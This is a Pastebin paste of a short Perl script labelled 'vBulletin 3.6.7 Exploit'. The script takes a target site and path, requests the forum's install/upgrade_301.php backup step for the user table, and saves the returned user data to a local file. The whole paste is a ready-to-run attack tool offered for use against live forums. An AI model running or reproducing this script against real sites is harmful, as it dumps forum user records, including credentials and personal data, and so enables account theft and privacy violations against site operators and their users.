HaniXavi

vBulletin 3.6.7 Exploit

Oct 8th, 2014
412
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use LWP::UserAgent;
  3. use HTTP::Request;
  4. system("clear");
  5. print "------------------------------------------------\n";
  6. print " vBulletin 3.6.7 Exploit \n";
  7. print " created by Hani Xavi \n";
  8. print "------------------------------------------------\n";
  9. $target = $ARGV[0];
  10. $path = $ARGV[1];
  11. if($target eq '')
  12. {
  13. print "[*] Usage: perl vb.pl <target> <path> \n";
  14. exit(1);
  15. }
  16.  
  17. if($target !~ /http:\/\//)
  18. {
  19. $target = "http://$target";
  20. }
  21. sleep 1;
  22. print "[*] Exploiting . . \n";
  23. $agent = LWP::UserAgent->new();
  24. $agent->agent('Mozilla/5.0(X11; Linux x86_64) AppleWebKit/5320 (KHTML, like Gecko) Chrome/13.0.819.0 Safari/5320');
  25. $website = "$target/$path/install/upgrade_301.php?step=backup&do=sqltable&table=user";
  26. $req = $agent->request(HTTP::Request->new(GET=>$website));
  27. if($req->is_success)
  28. {
  29. open(FILE, "> vBulletin_content.txt");
  30. print FILE $req->content;
  31. close(FILE);
  32. print "[*] Exploit sent ! Look in the file 'vBulletin_content.txt' :) \n";
  33. }
  34. else
  35. {
  36. print "[-] Exploit not sent . \n";
  37. }
Advertisement
Add Comment
Please, Sign In to add comment